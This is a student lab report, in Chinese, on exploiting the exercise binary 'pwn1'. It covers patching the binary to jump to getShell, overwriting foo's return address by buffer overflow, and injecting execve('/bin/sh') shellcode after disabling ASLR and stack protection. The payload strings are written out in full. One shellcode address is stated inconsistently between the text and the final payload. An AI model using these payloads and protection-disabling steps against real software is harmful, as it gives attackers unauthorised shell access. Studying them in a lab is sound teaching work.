20212912 2021-2022-2 《网络攻防实践》第九次作业
1.实践内容
1.1实验要求
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
1.2 缓冲区溢出
计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
1.3 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
2.实践过程
2.1手工修改可执行文件
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用objdump对pwn1进行反汇编,并通过管道转发给more作为输入内容:objdump -d pwn1 | more
查看反汇编的结果中main函数的相关部分:
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
运行经过修改后的pwn1程序,可得结果如图:
2.2利用Bof漏洞
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
通过在foo函数中,利用堆栈的相关知识,构造注入攻击。pwn1反汇编,找到foo函数,可以看到程序为函数预留了"0x1c"大小,即28个字节的缓冲区。此时main函数中EIP寄存器中的返回地址为"80484ba"。
因为程序预留的缓冲区长度为28个字节,EBP为4个字节,EIP为4个字节,需要构建一个至少36字节的字符串。首先要确定是否能将EIP寄存器覆盖,输入"gdb pwn1",输入"r"运行,输入字符串"1111111122222222333333334444444412345678",此时输入"info r"查看各寄存器的值
如图所示。可以看到EIP寄存器中的值为"1234",字符串的33到36字节已经将EIP寄存器覆盖。
在main函数调用的foo函数中仅仅只给输入的数据分配了28字节(0x1c)的空间,也就是说,只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址"80484ba"覆盖为getShell函数的地址"804847d",则程序执行完foo函数后将返回到getShell函数去执行,这样就完成了我们的目标。
借助perl语言生成一个包含getShell函数首地址的文件,然后通过管道让文件的内容成为pwn1的输入
构造输入字符串
使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input指令将perl生成的字符串存储到文件input中。
然后将input的输入,通过管道符"|",作为pwn1的输入。
(cat input; cat) | ./pwn1
2.3注入一个自己制作的shellcode
为了能够顺利完成攻击,需要进行一些预先的准备工作
依次输入:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
然后就是要构造要注入的payload
利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来确定\x4\x3\x2\x1到底该填什么:
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1
再开另外一个终端,用gdb来调试pwn1这个进程:
用ps -ef | grep pwn1命令找到pwn1的进程号是:6098
用gdb的attach 6098命令启动调试这个进程:
用disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址:
对foo进行反汇编查看到ret的地址为0x080484ae
在0x080484ae处设置断点,输入break *0x080484ae
在之前的终端中按下回车,然后在调试的终端中输入c继续运行。
输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:
用x/16x 0xbffff4dc命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后(+4),所以地址应为0xffffd170:
修改文件中代码为
perl -e 'print "A" x 32;print "\xe0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:
3.学习中遇到的问题及解决
1.pwn1无法执行
需要用chmod命令给pwn1执行权限
2.16进制编辑问题
修改d7为c3时,c3后面的ff会变成33而且无法修改。
奇怪的问题,重试了几次故障消失,不知道按错了哪个键。
3. 安装execstack失败
SEEDUbuntu-16.04-32bit自带execstack,可以避免安装问题
4.实践总结
通过本次实验,我知道了冲区溢出这种攻击方法。学会了如何手工修改可执行文件,改变程序执行流程,跳转到想要执行的位置。加深了我对汇编指令的理解,学会了如何用vi进行16进制的编辑,如何用objdump对进行反汇编。